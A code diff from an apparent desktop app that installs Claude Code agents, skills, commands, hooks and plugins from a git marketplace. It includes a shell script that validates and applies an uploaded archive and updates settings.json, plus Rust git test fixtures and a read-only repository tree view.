+# Every state id the manifest names with string fields, well-formed or
+# not: a selected item that failed this run must not be removed.
+in_manifest() { grep -qxF "$1" "$R/manifest_ids"; }
+carry_forward() { record "$1" "$(jq -c --arg id "$1" '.items[$id]' "$OLD")"; }
+# $1 = installed|updated|none for this id at this commit.
+outcome_of() {
+  p=$(prev_commit "$1")
+  if [ -z "$p" ]; then
+    echo installed
+  elif [ "$p" != "$2" ]; then
+    echo updated
+  else
+    echo none
+  fi
+}
+outcome() {
+  o=$(outcome_of "$1" "$2")
+  [ "$o" = none ] || report "$o" "$1"
+}
+# Something is in the way at a user-owned location (dangling links included).
+occupied() { [ -e "$1" ] || [ -L "$1" ]; }
+
+# The one place a destination is derived; removal never trusts a stored path.
+item_path() {
+  case "$1" in
+    agent | command) printf '%s\n' "$CLAUDE_DIR/${1}s/$2.md" ;;
+    skill) printf '%s\n' "$CLAUDE_DIR/skills/$2" ;;
+    hook) printf '%s\n' "$BASE/hooks/$2" ;;
+    *) return 1 ;;
+  esac
+}
+
+malformed() {
+  rm -rf "$WORK"
+  fail "$1"
+  emit_report
+  exit 0
+}
+
+# ── Unpack ───────────────────────────────────────────────────────────────────
+if [ ! -f "$INCOMING/payload.tar" ]; then
+  fail "no payload was uploaded"
+  emit_report
+  exit 0
+fi
+mkdir -p "$BASE/marketplace" "$BASE/hooks" "$BASE/plugins"
+rm -rf "$WORK"
+mkdir -p "$WORK"
+if ! tar -xf "$INCOMING/payload.tar" -C "$WORK" >&2; then
+  rm -f "$INCOMING/payload.tar"
+  fail "the payload could not be unpacked"
+  emit_report
+  exit 0
+fi
+rm -f "$INCOMING/payload.tar"
+# The host never packs links (they make an item invalid); refuse any that
+# arrive rather than copy through them.
+if [ -n "$(find "$WORK" -type l -print | head -n 1)" ]; then
+  rm -rf "$WORK"
+  fail "the payload contains a symbolic link, so it was not applied"
+  emit_report
+  exit 0
+fi
+MANIFEST="$WORK/manifest.json"
+if ! jq -e '.version == 1' "$MANIFEST" >/dev/null 2>&1; then
+  malformed "the payload manifest is missing or has an unsupported version"
+fi
+# Nothing is changed (and, above all, nothing removed) unless the manifest is
+# structurally sound and every extraction below succeeds.
+# `held` (optional): state ids of installs the host could not build this time;
+# they are kept exactly like a selected item that failed here.
+if ! jq -e '(.items | type) == "array" and (.plugin_marketplaces | type) == "array"
+    and ((.held // []) | type == "array" and all(.[]; type == "string"))' \
+  "$MANIFEST" >/dev/null 2>&1; then
+  malformed "the payload manifest is malformed, so nothing was changed"
+fi
+# One line per item. Fields carry a "_" prefix so an empty one cannot make
+# `read` shift the rest (tab is IFS whitespace); @tsv escapes tabs/newlines.
+# A malformed item becomes a "bad" line instead of aborting the extraction.
+if ! {
+  jq -r '
+    .items[]
+    | if type == "object" and (.kind | type) == "string" and (.key | type) == "string"
+       and (.commit | type) == "string"
+    then ["ok", .kind, .key, .commit, (if (.slug | type) == "string" then .slug else "" end)]
+    else ["bad",
+          (if type == "object" then .kind | tostring else "?" end),
+          (if type == "object" then .key | tostring else "?" end), "", ""]
+    end
+  | map("_" + .) | @tsv' "$MANIFEST" >"$R/items.tsv" &&
+  jq -r '.items[] | objects | select((.kind | type) == "string" and (.key | type) == "string")
+    | [if .kind == "plugin" and (.slug | type) == "string"
+       then "plugin:" + .slug + "/" + .key else .kind + ":" + .key end] | @tsv' \
+    "$MANIFEST" >"$R/manifest_ids" &&
+  jq -r '(.held // [])[] | [.] | @tsv' "$MANIFEST" >>"$R/manifest_ids" &&
+  jq -r '.plugin_marketplaces[]
+    | if type == "object" and (.slug | type) == "string" then .slug else "" end
+    | [.] | @tsv' "$MANIFEST" >"$R/new_slugs"
+}; then
+  malformed "the payload manifest could not be read, so nothing was changed"
+fi
+if ! jq -e '(.items | type) == "object"' "$STATE" >/dev/null 2>&1; then
+  printf '%s\n' '{"version":1,"items":{},"plugin_marketplaces":[]}' >"$STATE"
+fi
+# Records from before plugins were tracked per marketplace ("plugin:<key>")
+# carry their slug: rename them so they are neither reinstalled nor orphaned.
+# One without a string slug keeps its id and is dropped as unrecognised below.
+if ! jq '.items |= with_entries(
+    if (.key | startswith("plugin:")) and (.key | contains("/") | not)
+       and (.value | type) == "object" and (.value.slug | type) == "string"
+    then .key = "plugin:" + .value.slug + "/" + (.key | ltrimstr("plugin:"))
+    else . end)' "$STATE" >"$OLD" 2>/dev/null; then
+  malformed "the marketplace state could not be read, so nothing was changed"
+fi
+
+# ── Agents, skills, commands, hooks ──────────────────────────────────────────
+while IFS="$TAB" read -r status kind key commit slug; do
+  status=${status#_} kind=${kind#_} key=${key#_} commit=${commit#_} slug=${slug#_}
+  id="$kind:$key"
+  if [ "$status" != ok ]; then skip "$id" "malformed manifest entry"; continue; fi
+  if ! valid_key "$key"; then skip "$id" "invalid item name"; continue; fi
+  if ! valid_commit "$commit"; then skip "$id" "invalid commit"; continue; fi
+  case "$kind" in
+    plugin)
+      # Applied per plugin marketplace below.
+      printf '%s\t%s\t%s\n' "_$key" "_$commit" "_$slug" >>"$R/plugin_items"
+      ;;
+    agent | command)
+      dir="$CLAUDE_DIR/${kind}s"
+      src="$WORK/${kind}s/$key.md"
+      dest=$(item_path "$kind" "$key")
+      if [ ! -f "$src" ]; then fail "$id: missing from the payload"; continue; fi
+      if occupied "$dest" && ! owned "$id"; then
+        skip "$id" "~/.claude/${kind}s/$key.md already exists and was not installed by Triple-C"
+        continue
+      fi
+      if ! { mkdir -p "$dir" && cp "$src" "$dest.tmp.$$" && mv -f "$dest.tmp.$$" "$dest"; }; then
+        rm -f "$dest.tmp.$$"
+        fail "$id: could not write $dest"
+        continue
+      fi
+      outcome "$id" "$commit"
+      record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" '{commit: $c, path: $p}')"
+      ;;
+    skill)
+      dir="$CLAUDE_DIR/skills"
+      src="$WORK/skills/$key"
+      dest=$(item_path skill "$key")
+      if [ ! -d "$src" ]; then fail "$id: missing from the payload"; continue; fi
+      if occupied "$dest" && ! owned "$id"; then
+        skip "$id" "~/.claude/skills/$key already exists and was not installed by Triple-C"
+        continue
+      fi
+      if ! { mkdir -p "$dir" && rm -rf "$dest" && cp -R "$src" "$dest"; }; then
+        fail "$id: could not write $dest"
+        continue
+      fi
+      outcome "$id" "$commit"
+      record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" '{commit: $c, path: $p}')"
+      ;;
+    hook)
+      src="$WORK/hooks/$key"
+      dest=$(item_path hook "$key")
+      entries=$(jq -c --arg k "$key" \
+        'first(.items[] | objects | select(.kind == "hook" and .key == $k) | .settings) // {}' "$MANIFEST")
+      if ! printf '%s' "$entries" | jq -e 'type == "object" and all(.[]; type == "array")' >/dev/null 2>&1; then
+        skip "$id" "its hook settings are not an object of arrays"
+        continue
+      fi
+      if [ ! -d "$src" ]; then fail "$id: missing from the payload"; continue; fi
+      if ! { rm -rf "$dest" && cp -R "$src" "$dest"; }; then
+        fail "$id: could not write $dest"
+        continue
+      fi
+      # Reported only once its entries are in settings.json (see below).
+      printf '%s\t%s\n' "$(outcome_of "$id" "$commit")" "$id" >>"$R/hook_pending"
+      record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" --argjson e "$entries" \
+        '{commit: $c, path: $p, entries: $e}')"
+      ;;
+    *)
+      skip "$id" "unknown item kind"
+      ;;
+  esac
+done <"$R/items.tsv"
+
+# ── Removals (non-plugin) ────────────────────────────────────────────────────
+cut -f1 "$R/newstate" >"$R/new_ids"
+jq -r '.items | keys[]' "$OLD" >"$R/old_ids"
+while read -r id; do
+  case "$id" in plugin:*) continue ;; esac
+  if grep -qxF "$id" "$R/new_ids"; then continue; fi
+  # Still selected but failed this run: keep the old files and record.
+  if in_manifest "$id"; then carry_forward "$id"; continue; fi
+  # Only an exact "<kind>:<key>" with a known kind names a path; anything
+  # else in state is dropped without deleting anything.
+  case "$id" in
+    agent:* | skill:* | command:* | hook:*)
+      kind=${id%%:*}
+      key=${id#*:}
+      ;;
+    *) kind="" key="" ;;
+  esac
+  if [ -z "$kind" ] || ! valid_key "$key" || ! path=$(item_path "$kind" "$key"); then
+    fail "$id: dropped an unrecognised record from the marketplace state"
+    continue
+  fi
+  if [ "$kind" = hook ]; then
+    # Removed once its entries are out of settings.json (see below).
+    printf '%s\n' "$id" >>"$R/hook_removals"
+    continue
+  fi
+  if rm -rf "$path"; then report removed "$id"; else fail "$id: could not remove $path"; fi
+done <"$R/old_ids"
+
+# ── Hook entries in settings.json ────────────────────────────────────────────
+# shellcheck disable=SC2016 # jq program, not shell
+MERGE_ENTRIES='[.[] | .entries? // empty]
+  | reduce .[] as $e ({}; reduce ($e | to_entries[]) as $x (.; .[$x.key] += $x.value))'
+OLD_HOOKS=$(jq -c "[.items[]] | $MERGE_ENTRIES" "$OLD")
+NEW_HOOKS=$(cut -f2- "$R/newstate" | jq -cs "$MERGE_ENTRIES")
+HOOKS_FAILED=0
+if [ "$OLD_HOOKS" != "{}" ] || [ "$NEW_HOOKS" != "{}" ]; then
+  # A dotfiles symlink stays a symlink: write through to its target.
+  target="$SETTINGS"
+  if [ -L "$SETTINGS" ]; then
+    target=$(readlink -f "$SETTINGS" 2>/dev/null) || target=""
+  fi
+  tmp="$target.tmp.$$"
+  # settings.json may hold secrets and the entrypoint keeps it 0600: create
+  # the replacement private and keep it that way (pre-flight N11).
+  saved_umask=$(umask)
+  umask 077
+  if [ -z "$target" ] || { [ -e "$target" ] && [ ! -f "$target" ]; }; then
+    HOOKS_FAILED=1
+    fail "~/.claude/settings.json is not a regular file, so hook changes were not applied"
+  elif [ -f "$target" ] && ! jq -s '
+      if length == 0 then {}
+      elif length == 1 and (.[0] | type) == "object" then .[0]
+      else error("not a JSON object") end' "$target" >"$R/current.json" 2>/dev/null; then
+    HOOKS_FAILED=1
+    fail "~/.claude/settings.json is not a JSON object, so hook changes were not applied"
+  else
+    # Missing, empty and whitespace-only files all read as {}.
+    [ -f "$target" ] || printf '{}\n' >"$R/current.json"
+    if jq --argjson old "$OLD_HOOKS" --argjson new "$NEW_HOOKS" '
+        def remove_first($x):
+          (to_entries | map(select(.value == $x)) | first(.[].key) // null) as $i
+          | if $i == null then . else del(.[$i]) end;
+        reduce ($old | to_entries[]) as $ev (.;
+          if (.hooks[$ev.key] | type) == "array"
+          then reduce $ev.value[] as $g (.; .hooks[$ev.key] |= remove_first($g))
+          else . end)
+        | reduce ($new | to_entries[]) as $ev (.;
+            .hooks[$ev.key] = ((.hooks[$ev.key] // []) + $ev.value))
+        | if (.hooks | type) == "object" then .hooks |= with_entries(select(.value != [])) else . end
+        | if .hooks == {} then del(.hooks) else . end
+      ' "$R/current.json" >"$tmp" 2>/dev/null &&
+      jq -e 'type == "object"' "$tmp" >/dev/null 2>&1 &&
+      mv -f "$tmp" "$target"; then
+      chmod 600 "$target" ||
+        fail "~/.claude/settings.json was updated but could not be made private (chmod 600)"
+    else
+      rm -f "$tmp"
+      HOOKS_FAILED=1
+      fail "~/.claude/settings.json could not be updated, so hook changes were not applied"
+    fi
+  fi
+  umask "$saved_umask"
+fi
+if [ "$HOOKS_FAILED" = 0 ]; then
+  while IFS="$TAB" read -r o id; do
+    [ "$o" = none ] || report "$o" "$id"
+  done <"$R/hook_pending"
+  while read -r id; do
+    key=${id#hook:}
+    if rm -rf "$(item_path hook "$key")"; then report removed "$id"; else fail "$id: could not remove its files"; fi
+  done <"$R/hook_removals"
+fi
+
+# ── Plugins ──────────────────────────────────────────────────────────────────
+jq -r '.plugin_marketplaces[]?' "$OLD" >"$R/old_slugs"
+while read -r slug; do
+  if ! valid_slug "$slug"; then fail "invalid plugin marketplace name"; continue; fi
+  mname="triple-c-$slug"
+  dest="$BASE/plugins/$slug"
+  if ! { rm -rf "$dest" && cp -R "$WORK/plugins/$slug" "$dest"; }; then
+    fail "$mname: could not write $dest"
+    continue
+  fi
+  if grep -qxF "$slug" "$R/old_slugs"; then
+    claude_cmd plugin marketplace update "$mname" || fail "$mname: marketplace update failed"
+  elif ! claude_cmd plugin marketplace add "$dest"; then
+    claude_cmd plugin marketplace update "$mname" || { fail "$mname: could not be registered"; continue; }
+  fi
+  printf '%s\n' "$slug" >>"$R/final_slugs"
+  while IFS="$TAB" read -r key commit pslug; do
+    key=${key#_} commit=${commit#_} pslug=${pslug#_}
+    [ "$pslug" = "$slug" ] || continue
+    id="plugin:$key"
+    sid="plugin:$slug/$key"
+    p=$(prev_commit "$sid")
+    if [ -z "$p" ]; then
+      claude_cmd plugin install "$key@$mname" || { fail "$id ($mname): install failed"; continue; }
+      report installed "$id"
+    elif [ "$p" != "$commit" ]; then
+      claude_cmd plugin uninstall "$key@$mname"
+      claude_cmd plugin install "$key@$mname" || { fail "$id ($mname): reinstall failed"; continue; }
+      report updated "$id"
+    fi
+    record "$sid" "$(jq -cn --arg c "$commit" --arg s "$slug" '{commit: $c, slug: $s}')"
+  done <"$R/plugin_items"
+done <"$R/new_slugs"
+
+# Plugins no longer selected.
+while read -r id; do
+  case "$id" in plugin:*) ;; *) continue ;; esac
+  if grep -qxF "$id" "$R/new_ids" || cut -f1 "$R/newstate" | grep -qxF "$id"; then continue; fi
+  if in_manifest "$id"; then carry_forward "$id"; continue; fi
+  # Name and marketplace come from the id alone ("plugin:<slug>/<key>").
+  rest=${id#plugin:}
+  case "$rest" in
+    */*) slug=${rest%%/*} key=${rest#*/} ;;
+    *) slug="" key="" ;;
+  esac
+  if ! valid_key "$key" || ! valid_slug "$slug"; then
+    fail "$id: dropped an unrecognised record from the marketplace state"
+    continue
+  fi
+  if claude_cmd plugin uninstall "$key@triple-c-$slug"; then
+    report removed "plugin:$key"
+  else
+    fail "plugin:$key (triple-c-$slug): uninstall failed"
+    carry_forward "$id"
+  fi
+done <"$R/old_ids"
+
+# Plugin marketplaces with nothing left in them.
+cut -f2- "$R/newstate" | jq -r 'select(has("slug")) | .slug' >>"$R/final_slugs"
+while read -r slug; do
+  if grep -qxF "$slug" "$R/final_slugs"; then continue; fi
+  valid_slug "$slug" || continue
+  claude_cmd plugin marketplace remove "triple-c-$slug" || fail "triple-c-$slug: could not be removed"
+  rm -rf "$BASE/plugins/$slug"
+done <"$R/old_slugs"
+
+# ── State ────────────────────────────────────────────────────────────────────
+jq -Rn '[inputs | split("\t") | { key: .[0], value: (.[1:] | join("\t") | fromjson) }] | from_entries' \
+  <"$R/newstate" >"$R/items.json"
+if [ "$HOOKS_FAILED" = 1 ]; then
+  # settings.json still holds the old entries, so the old records stay true.
+  jq -s '.[0] as $new | .[1].items as $old
+    | ($new | with_entries(select(.key | startswith("hook:") | not)))
+      + ($old | with_entries(select(.key | startswith("hook:"))))' \
+    "$R/items.json" "$OLD" >"$R/items2.json" && mv -f "$R/items2.json" "$R/items.json"
+fi
+if jq -n --slurpfile it "$R/items.json" --rawfile sl "$R/final_slugs" \
+  '{ version: 1, items: $it[0], plugin_marketplaces: ($sl | split("\n") | map(select(length > 0)) | unique) }' \
+  >"$STATE.tmp.$$"; then
+  mv -f "$STATE.tmp.$$" "$STATE"
+else
+  rm -f "$STATE.tmp.$$"
+  fail "the marketplace state could not be saved"
+fi
+
+rm -rf "$WORK"
+emit_report

app/src-tauri/src/marketplace/test_support.rs

@@ -0,0 +1,90 @@
+//! Test-only helpers: throwaway git repositories built with the `git` CLI, so
+//! marketplace code is exercised against real git objects over `file://`.
+//! The git plumbing itself lives in [`super::git::test_support`] (one copy).
+
+use std::fs;
+
+use super::git::test_support::{file_url, git, git_available};
+
+pub struct GitFixture {
+    pub dir: tempfile::TempDir,
+}
+
+impl GitFixture {
+    /// `None` (with a note on stderr) when `git` is not installed; callers skip.
+    pub fn new() -> Option<Self> {
+        if !git_available() {
+            eprintln!("skipping: git is not installed");
+            return None;
+        }
+        let dir = tempfile::tempdir().expect("tempdir");
+        git(dir.path(), &["init", "-q", "-b", "main"]);
+        Some(Self { dir })
+    }
+
+    pub fn url(&self) -> String {
+        file_url(self.dir.path())
+    }
+
+    pub fn write(&self, path: &str, contents: &str) -> &Self {
+        let p = self.dir.path().join(path);
+        fs::create_dir_all(p.parent().unwrap()).unwrap();
+        fs::write(&p, contents).unwrap();
+        self
+    }
+
+    pub fn write_exec(&self, path: &str, contents: &str) -> &Self {
+        self.write(path, contents);
+        #[cfg(unix)]
+        {
+            use std::os::unix::fs::PermissionsExt;
+            let p = self.dir.path().join(path);
+            fs::set_permissions(&p, fs::Permissions::from_mode(0o755)).unwrap();
+        }
+        self
+    }
+
+    /// Commit everything and return the new commit id (40 hex).
+    pub fn commit(&self, message: &str) -> String {
+        git(self.dir.path(), &["add", "-A"]);
+        git(
+            self.dir.path(),
+            &["commit", "-q", "--allow-empty", "-m", message],
+        );
+        git(self.dir.path(), &["rev-parse", "HEAD"])
+    }
+
+    /// A repo with one item of every kind, committed. Returns the commit.
+    pub fn with_all_kinds(&self) -> String {
+        self.write(
+            "agents/code-reviewer.md",
+            "---\nname: code-reviewer\ndescription: Reviews code\n---\nReview the diff.\n",
+        )
+        .write(
+            "skills/example-skill/SKILL.md",
+            "---\nname: example-skill\ndescription: An example skill\n---\nDo the thing.\n",
+        )
+        .write(
+            "commands/example-command.md",
+            "---\ndescription: An example command\n---\nRun the example.\n",
+        )
+        .write(
+            "hooks/notify-on-stop/hook.json",
+            r#"{"name":"notify-on-stop","description":"Ping on stop","hooks":{"Stop":[{"hooks":[{"type":"command","command":"${HOOK_DIR}/notify.sh"}]}]}}"#,
+        )
+        .write_exec("hooks/notify-on-stop/notify.sh", "#!/bin/sh\necho done\n")
+        .write(
+            "plugins/.claude-plugin/marketplace.json",
+            r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin"}]}"#,
+        )
+        .write(
+            "plugins/example-plugin/.claude-plugin/plugin.json",
+            r#"{"name":"example-plugin","version":"0.1.0"}"#,
+        )
+        .write(
+            "plugins/example-plugin/skills/hello/SKILL.md",
+            "---\nname: hello\ndescription: Says hello\n---\nSay hello.\n",
+        );
+        self.commit("all kinds")
+    }
+}

app/src-tauri/src/marketplace/tree.rs

@@ -0,0 +1,511 @@
+//! A read-only view of a repository tree at one commit.
+//!
+//! The catalog parser only ever talks to [`TreeView`], so it is tested
+//! against [`MemTree`] with no git involved, and runs in production against
+//! [`GitTree`], which reads git objects straight out of the bare cache.
+
+#[cfg(test)]
+use std::collections::BTreeMap;
+
+#[cfg(test)]
+use sha2::{Digest, Sha256};
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum EntryKind {
+    File,
+    Dir,
+    Symlink,
+    /// Anything else git can hold (submodule commits). Never installable.
+    Other,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct DirEntry {
+    pub name: String,
+    pub kind: EntryKind,
+    pub executable: bool,
+}
+
+pub trait TreeView {
+    /// Entries of the directory at `path` (`""` = root). `Ok(None)` if absent or not a dir.
+    fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String>;
+    /// Contents of the regular file at `path`, if it is at most `max_bytes`.
+    /// `Ok(None)` if absent or not a file. A larger file is
+    /// [`ReadError::TooLarge`], decided before its contents are loaded.
+    fn read_file(&self, path: &str, max_bytes: u64) -> Result<Option<Vec<u8>>, ReadError>;
+    /// Stable content id of the entry at `path`; `None` if absent.
+    fn entry_id(&self, path: &str) -> Result<Option<String>, String>;
+}
+
+/// Why [`TreeView::read_file`] returned no contents.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum ReadError {
+    /// The file is larger than the caller's cap (known from the object
+    /// header, so nothing was inflated).
+    TooLarge {
+        path: String,
+        max_bytes: u64,
+    },
+    Other(String),
+}
+
+/// `"2 MiB"`, `"64 KiB"` or `"N bytes"`.
+pub(crate) fn describe_size(bytes: u64) -> String {
+    const KIB: u64 = 1024;
+    const MIB: u64 = 1024 * 1024;
+    if bytes >= MIB && bytes.is_multiple_of(MIB) {
+        format!("{} MiB", bytes / MIB)
+    } else if bytes >= KIB && bytes.is_multiple_of(KIB) {
+        format!("{} KiB", bytes / KIB)
+    } else {
+        format!("{} bytes", bytes)
+    }
+}
+
+impl From<ReadError> for String {
+    fn from(e: ReadError) -> String {
+        match e {
+            ReadError::TooLarge { path, max_bytes } => {
+                format!("{} is larger than {}", path, describe_size(max_bytes))
+            }
+            ReadError::Other(msg) => msg,
+        }
+    }
+}
+
+impl From<String> for ReadError {
+    fn from(msg: String) -> Self {
+        ReadError::Other(msg)
+    }
+}
+
+/// Hex-encode `bytes`. Shared by [`MemTree`]'s content id (test-only) and
+/// `catalog::item_fingerprint`'s plugin-entry hash (production), so there is
+/// one hex formatter rather than two copies of the same `format!("{:02x}")`.
+pub(crate) fn hex(bytes: &[u8]) -> String {
+    bytes.iter().map(|b| format!("{:02x}", b)).collect()
+}
+
+/// A tree at one commit of a bare gix repository.
+pub struct GitTree {
+    repo: gix::Repository,
+    tree_id: gix::ObjectId,
+}
+
+#[cfg(test)]
+thread_local! {
+    static REPO_OPENS: std::cell::Cell<usize> = const { std::cell::Cell::new(0) };
+}
+
+/// How many times this thread has opened a cache repo (tests only).
+#[cfg(test)]
+pub fn repo_opens() -> usize {
+    REPO_OPENS.with(|c| c.get())
+}
+
+/// Open a bare cache. Several [`GitTree`]s can share one open repo through
+/// [`GitTree::at`] (cloning a `gix::Repository` shares its object store).
+pub fn open_repo(repo_path: &std::path::Path) -> Result<gix::Repository, String> {
+    #[cfg(test)]
+    REPO_OPENS.with(|c| c.set(c.get() + 1));
+    gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))
+}
+
+impl GitTree {
+    pub fn open(repo_path: &std::path::Path, commit: &str) -> Result<Self, String> {
+        Self::at(open_repo(repo_path)?, commit)
+    }
+
+    /// The tree at `commit` of an already open repo.
+    pub fn at(repo: gix::Repository, commit: &str) -> Result<Self, String> {
+        let oid = gix::ObjectId::from_hex(commit.as_bytes())
+            .map_err(|e| format!("Invalid commit id {}: {}", commit, e))?;
+        let tree_id = repo
+            .find_commit(oid)
+            .map_err(|e| format!("Commit {} is not in the marketplace cache: {}", commit, e))?
+            .tree_id()
+            .map_err(|e| format!("Commit {} has no tree: {}", commit, e))?
+            .detach();
+        Ok(Self { repo, tree_id })
+    }
+
+    fn root(&self) -> Result<gix::Tree<'_>, String> {
+        self.repo
+            .find_tree(self.tree_id)
+            .map_err(|e| format!("Could not read tree {}: {}", self.tree_id, e))
+    }
+
+    /// `(object id, mode)` of the entry at `path`, or `None`.
+    fn lookup(
+        &self,
+        path: &str,
+    ) -> Result<Option<(gix::ObjectId, gix::object::tree::EntryMode)>, String> {
+        if path.is_empty() {
+            return Ok(Some((
+                self.tree_id,
+                gix::object::tree::EntryKind::Tree.into(),
+            )));
+        }
+        let root = self.root()?;
+        let entry = root
+            .lookup_entry_by_path(path)
+            .map_err(|e| format!("Could not look up {}: {}", path, e))?;
+        Ok(entry.map(|e| (e.object_id(), e.mode())))
+    }
+}
+
+impl TreeView for GitTree {
+    fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String> {
+        let Some((id, mode)) = self.lookup(path)? else {
+            return Ok(None);
+        };
+        if !mode.is_tree() {
+            return Ok(None);
+        }
+        let tree = self
+            .repo
+            .find_tree(id)
+            .map_err(|e| format!("Could not read {}: {}", path, e))?;
+        let mut out = Vec::new();
+        for entry in tree.iter() {
+            let entry = entry.map_err(|e| format!("Could not read {}: {:?}", path, e))?;
+            let mode = entry.mode();
+            let kind = if mode.is_tree() {
+                EntryKind::Dir
+            } else if mode.is_link() {
+                EntryKind::Symlink
+            } else if mode.is_blob() {
+                EntryKind::File
+            } else {
+                EntryKind::Other
+            };
+            out.push(DirEntry {
+                name: entry.filename().to_string(),
+                kind,
+                executable: mode.is_executable(),
+            });
+        }
+        Ok(Some(out))
+    }
+
+    fn read_file(&self, path: &str, max_bytes: u64) -> Result<Option<Vec<u8>>, ReadError> {
+        let Some((id, mode)) = self.lookup(path)? else {
+            return Ok(None);
+        };
+        if !mode.is_blob() {
+            return Ok(None);
+        }
+        // The header alone gives the size; a blob over the cap is never
+        // inflated (a compressible multi-GB file would otherwise be).
+        let size = self
+            .repo
+            .find_header(id)
+            .map_err(|e| format!("Could not read {}: {}", path, e))?
+            .size();
+        if size > max_bytes {
+            return Err(ReadError::TooLarge {
+                path: path.to_string(),
+                max_bytes,
+            });
+        }
+        let mut blob = self
+            .repo
+            .find_blob(id)
+            .map_err(|e| format!("Could not read {}: {}", path, e))?;
+        Ok(Some(blob.take_data()))
+    }
+
+    fn entry_id(&self, path: &str) -> Result<Option<String>, String> {
+        Ok(self.lookup(path)?.map(|(id, _)| id.to_string()))
+    }
+}
+
+#[cfg(test)]
+#[derive(Debug, Clone)]
+enum MemNode {
+    File { data: Vec<u8>, executable: bool },
+    Symlink { target: String },
+}
+
+/// In-memory tree for tests: path → node. Directories are implied by paths.
+#[cfg(test)]
+#[derive(Debug, Clone, Default)]
+pub struct MemTree {
+    nodes: BTreeMap<String, MemNode>,
+}
+
+#[cfg(test)]
+impl MemTree {
+    pub fn new() -> Self {
+        Self::default()
+    }
+
+    pub fn file(mut self, path: &str, contents: &str) -> Self {
+        self.nodes.insert(
+            path.to_string(),
+            MemNode::File {
+                data: contents.as_bytes().to_vec(),
+                executable: false,
+            },
+        );
+        self
+    }
+
+    pub fn exec_file(mut self, path: &str, contents: &str) -> Self {
+        self.nodes.insert(
+            path.to_string(),
+            MemNode::File {
+                data: contents.as_bytes().to_vec(),
+                executable: true,
+            },
+        );
+        self
+    }
+
+    pub fn symlink(mut self, path: &str, target: &str) -> Self {
+        self.nodes.insert(
+            path.to_string(),
+            MemNode::Symlink {
+                target: target.to_string(),
+            },
+        );
+        self
+    }
+
+    /// Place a file so that, inside `dir`, it is listed under the literal
+    /// entry name `name` — including a name `file`/`exec_file`/`symlink`
+    /// could never be asked to produce because it doesn't correspond to any
+    /// real filesystem path a caller here would construct: `.`, `..`, empty,
+    /// or containing `/`, `\` or a NUL byte. Exists only so a test can drive
+    /// `catalog::collect_dir`'s hostile-entry-name rejection without relying
+    /// on incidental behaviour of path-string splitting.
+    pub fn raw_named_file(mut self, dir: &str, name: &str, contents: &str) -> Self {
+        let path = if dir.is_empty() {
+            name.to_string()
+        } else {
+            format!("{}/{}", dir, name)
+        };
+        self.nodes.insert(
+            path,
+            MemNode::File {
+                data: contents.as_bytes().to_vec(),
+                executable: false,
+            },
+        );
+        self
+    }
+
+    fn is_dir(&self, path: &str) -> bool {
+        if path.is_empty() {
+            return true;
+        }
+        let prefix = format!("{}/", path);
+        self.nodes.keys().any(|k| k.starts_with(&prefix))
+    }
+}
+
+#[cfg(test)]
+impl TreeView for MemTree {
+    fn list_dir(&self, path: &str) -> Result<Option<Vec<DirEntry>>, String> {
+        if self.nodes.contains_key(path) || !self.is_dir(path) {
+            return Ok(None);
+        }
+        let prefix = if path.is_empty() {
+            String::new()
+        } else {
+            format!("{}/", path)
+        };
+        let mut out: BTreeMap<String, DirEntry> = BTreeMap::new();
+        for (key, node) in &self.nodes {
+            let Some(rest) = key.strip_prefix(&prefix) else {
+                continue;
+            };
+            match rest.split_once('/') {
+                Some((dir, _)) => {
+                    out.entry(dir.to_string()).or_insert(DirEntry {
+                        name: dir.to_string(),
+                        kind: EntryKind::Dir,
+                        executable: false,
+                    });
+                }
+                None => {
+                    let (kind, executable) = match node {
+                        MemNode::File { executable, .. } => (EntryKind::File, *executable),
+                        MemNode::Symlink { .. } => (EntryKind::Symlink, false),
+                    };
+                    out.insert(
+                        rest.to_string(),
+                        DirEntry {
+                            name: rest.to_string(),
+                            kind,
+                            executable,
+                        },
+                    );
+                }
+            }
+        }
+        Ok(Some(out.into_values().collect()))
+    }
+
+    fn read_file(&self, path: &str, max_bytes: u64) -> Result<Option<Vec<u8>>, ReadError> {
+        match self.nodes.get(path) {
+            Some(MemNode::File { data, .. }) if data.len() as u64 > max_bytes => {
+                Err(ReadError::TooLarge {
+                    path: path.to_string(),
+                    max_bytes,
+                })
+            }
+            Some(MemNode::File { data, .. }) => Ok(Some(data.clone())),
+            _ => Ok(None),
+        }
+    }
+
+    fn entry_id(&self, path: &str) -> Result<Option<String>, String> {
+        let mut hasher = Sha256::new();
+        let mut found = false;
+        let prefix = format!("{}/", path);
+        for (key, node) in &self.nodes {
+            if key != path && !key.starts_with(&prefix) {
+                continue;
+            }
+            found = true;
+            hasher.update(key.as_bytes());
+            hasher.update([0]);
+            match node {
+                MemNode::File { data, executable } => {
+                    hasher.update([if *executable { b'x' } else { b'f' }]);
+                    hasher.update(data);
+                }
+                MemNode::Symlink { target } => {
+                    hasher.update(b"l");
+                    hasher.update(target.as_bytes());
+                }
+            }
+            hasher.update([0]);
+        }
+        Ok(found.then(|| hex(&hasher.finalize())))
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn mem_tree_lists_files_dirs_and_symlinks() {
+        let t = MemTree::new()
+            .file("agents/a.md", "x")
+            .exec_file("hooks/h/run.sh", "#!/bin/sh")
+            .symlink("agents/link.md", "a.md");
+        let root = t.list_dir("").unwrap().unwrap();
+        assert_eq!(
+            root.iter()
+                .map(|e| (e.name.as_str(), e.kind))
+                .collect::<Vec<_>>(),
+            vec![("agents", EntryKind::Dir), ("hooks", EntryKind::Dir)]
+        );
+        let agents = t.list_dir("agents").unwrap().unwrap();
+        assert_eq!(agents[1].kind, EntryKind::Symlink);
+        let hook = t.list_dir("hooks/h").unwrap().unwrap();
+        assert!(hook[0].executable);
+        assert_eq!(t.list_dir("agents/a.md").unwrap(), None);
+        assert_eq!(t.list_dir("missing").unwrap(), None);
+        assert_eq!(t.read_file("agents/a.md", 10).unwrap().unwrap(), b"x");
